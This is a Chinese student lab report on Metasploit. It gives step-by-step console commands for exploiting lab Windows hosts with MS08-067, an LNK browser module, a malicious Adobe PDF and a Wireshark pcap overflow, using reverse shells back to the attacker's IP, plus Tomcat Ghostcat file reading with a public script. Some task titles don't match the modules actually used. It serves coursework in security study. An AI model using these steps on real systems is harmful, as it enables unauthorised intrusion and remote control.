目录

实践内容

实践原理

1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件

  • 查看六种模块源码目录/usr/share/metasploit-framework/modules
  • 渗透攻击模块(Exploit Modules)
    • 攻击漏洞,把shellcode"背"过去
    • 针对每一个漏洞,写一段攻击代码
  • 辅助模块(Auxiliary Modules)
    • 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
  • 攻击载荷(Payload Modules)
    • 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块(Payload Modules)
  • 编码模块(Payload Modules)
  • 后渗透攻击模块(Payload Modules)

2、 用户操作界面

  • msfconsole
    • 开发部署成本低、兼容性高、方便自动化
    • 指令需要记
  • armitage
    • 点选模块 不用记忆
    • 使用不灵活
  • webgui
    • 跨平台 高效 功能强大

3、 MSF常用漏洞指令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

基础问题回答

1.用自己的话解释什么是exploit,payload,encode.

exploit是工具,用来连接漏洞,将payload传送到靶机中

payload是载荷,是目标系统在被exploit传送之后,去执行的攻击代码

encode是编码,用来包装payload,不让杀软轻易发现payload就是攻击代码

过程记录

任务一:主动攻击实践

ms08-067_netapi:自动化漏洞溢出攻击

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统, 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。

靶机:Windows 2000(IP:172.21.167.86)
攻击机:kali linux(IP:172.21.175.104)

  1. 两台主机可以ping
    20181202 网络对抗技术 exp6 MSF应用基础

  2. 输入msfconsole打开MSF控制台

  3. 输入search ms08-067查找,找到可利用的模块
    20181202 网络对抗技术 exp6 MSF应用基础

  4. 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 172.21.167.86
    20181202 网络对抗技术 exp6 MSF应用基础

  5. msf中输入use exploit/windows/smb/ms08_067_netapi启用该模块

  6. 输入info查看靶机适用范围。

20181202 网络对抗技术 exp6 MSF应用基础

  1. 输入下列参数:
  • set payload generic/shell_reverse_tcp选择攻击模块
  • set RHOSTS 172.21.167.86设定靶机IP地址
  • set LHOST 172.21.175.104设定攻击机IP地址
  • set LPORT 5308设定端口
  • set target 34 设定目标机版本,刚才列表可见靶机windowsXP sp3为target 34
    20181202 网络对抗技术 exp6 MSF应用基础
  1. 输入exploit进行攻击,获得靶机控制权后可正常输入cmd命令,攻击结果如下:
    20181202 网络对抗技术 exp6 MSF应用基础

任务二:一个针对浏览器的攻击

  • 实现:ms10-018

  • 攻击机:kali 172.21.163.26

  • 靶机:Windows xp sp3 172.21.167.86

  • payload:windows/meterpreter/reverse_tcp

  • 首先查看浏览器漏洞: cd /usr/share/metasploit-framework/modules/exploits/windows/browser

  • 输入ls即可看到很多漏洞代码,选择 ms10_046_shortcut_icon_dllloader.rb
    20181202 网络对抗技术 exp6 MSF应用基础

  • 进入控制台:msfconsole ,使用: use windows/browser/ms10_046_shortcut_icon_dllloaderset payload windows/meterpreter/reverse_tcp

  • 查看一下这个漏洞的作用: info

  • 此模块利用处理Windows快捷方式文件(.LNK)时的漏洞,其中包含指向恶意DLL。此模块创建可以使用的WebDAV服务,当以UNC路径访问时,可以运行任意负载。
    20181202 网络对抗技术 exp6 MSF应用基础

show payloads
set payload windows/meterpreter/reverse_tcp
set LHOST 172.21.163.26
exploit

20181202 网络对抗技术 exp6 MSF应用基础

  • 在靶机用浏览器打开生成的链接:http://172.21.163.26:80/
    20181202 网络对抗技术 exp6 MSF应用基础

  • 查看会话: sessions

  • 选取会话: session -i 1
    20181202 网络对抗技术 exp6 MSF应用基础

任务三:一个针对客户端的攻击

  • 实现:Adobe

  • 攻击机:kali 192.168.248.128

  • 靶机:Windows xp sp3 192.168.248.129

  • 使用:search adobe查找Adobe漏洞
    20181202 网络对抗技术 exp6 MSF应用基础

  • 使用:use windows/fileformat/adobe_flatedecode_predictor02使用漏洞

  • payload:windows/meterpreter/reverse_tcp

  • 设置相关参数

	set RHOST 192.168.248.129  
	set FILENAME 20181202lym.pdf   
	exploit   
  • 将生成的文件复制之后导入靶机中:cp /root/.msf4/local/20181202lym.pdf 20181202lym.pdf
  • 在靶机中使用双击打开20181202lym.pdf,攻击成功
    20181202 网络对抗技术 exp6 MSF应用基础

任务三(与大家不一样的一个):CVE-2020-1938

2020年1月6日,国家信息安全漏洞共享平台(CNVD) 发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。 该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。利用方式属于文件包含漏洞。CNVD对该漏洞的综合评级为“高危”。目前,厂商已发布新版本完成漏洞修复。

Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。此漏洞为文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。

受影响范围

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

配置环境

JDK

默认已经安装

tomcat 8.5.16

  1. 下载解压包后自己解压到自己选择的位置
    20181202 网络对抗技术 exp6 MSF应用基础

  2. 打开:我的电脑-右键属性 -高级系统设置-环境变量
    20181202 网络对抗技术 exp6 MSF应用基础

  3. 添加变量

  • **CATALINA_BASE ** C:\Users\liyiming\Desktop\apache-tomcat-8.5.16-windows-x64\apache-tomcat-8.5.16
  • CATALINA_HOME C:\Users\liyiming\Desktop\apache-tomcat-8.5.16-windows-x64\apache-tomcat-8.5.16
    20181202 网络对抗技术 exp6 MSF应用基础
  1. 点击path 编辑 新建
    20181202 网络对抗技术 exp6 MSF应用基础

  2. 然后打开cmd 输入startup,tomcat启动
    20181202 网络对抗技术 exp6 MSF应用基础
    20181202 网络对抗技术 exp6 MSF应用基础

实验开始

  1. 查看win10主机IP
    20181202 网络对抗技术 exp6 MSF应用基础

  2. 在kali中输入172.26.45.82:8080,可以看到tomcat页面
    20181202 网络对抗技术 exp6 MSF应用基础

  3. kali中通过namp进行端口扫描,开放8009和8080端口
    20181202 网络对抗技术 exp6 MSF应用基础

  4. 使用Github上已经公开的EXP来复现。

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 172.26.45.82
  1. 成功读取到webapps下WEB-INF文件内容
    20181202 网络对抗技术 exp6 MSF应用基础

任务四:成功应用任何一个辅助模块

  • 实现:MS12-020(CVE-2012-0002)蓝屏攻击
  • 攻击机:kali 192.168.0.116
  • 靶机:Windows xp sp3 192.168.0.117
  • payload : windows/meterpreter/reverse_tcp
  • 使用:msfconsole进入控制台
  • 使用:info,查看漏洞具体信息(重点当然是description,必须是1.4.4以下版本的wireshark才行)
Description:
  This module exploits a stack buffer overflow in Wireshark <= 1.4.4 
  When opening a malicious .pcap file in Wireshark, a stack buffer 
  occurs, resulting in arbitrary code execution. Note: To exploit the 
  vulnerability remotely with Scapy: sendp(rdpcap("file")).

20181202 网络对抗技术 exp6 MSF应用基础

  • 设置相关参数
set LHOST 192.168.0.116 //攻击者地址
set LPORT 1202 //设置端口号
set FILENAME 1202.pcap //设置文件名
show options //查看设置
exploit //攻击

20181202 网络对抗技术 exp6 MSF应用基础

  • 将生成的1202.pcap复制到Windows XP中
  • kail中输入back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp  //选择攻击载荷
set LHOST 192.168.0.116 //攻击者地址
set LPORT 1202 //设置端口号
exploit //攻击

20181202 网络对抗技术 exp6 MSF应用基础

实验感想

本次实验内容较简单,把一些看似没有关联的知识点连接起来,巩固了自己的知识体系。

但是叭,这个环境也太难了,得找到合适靶机才能实验成功,这也体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。

但是离真正时间还有一定距离,很多都是在特殊环境下执行的,对靶机要求很高,不具有灵活性。

相关文章: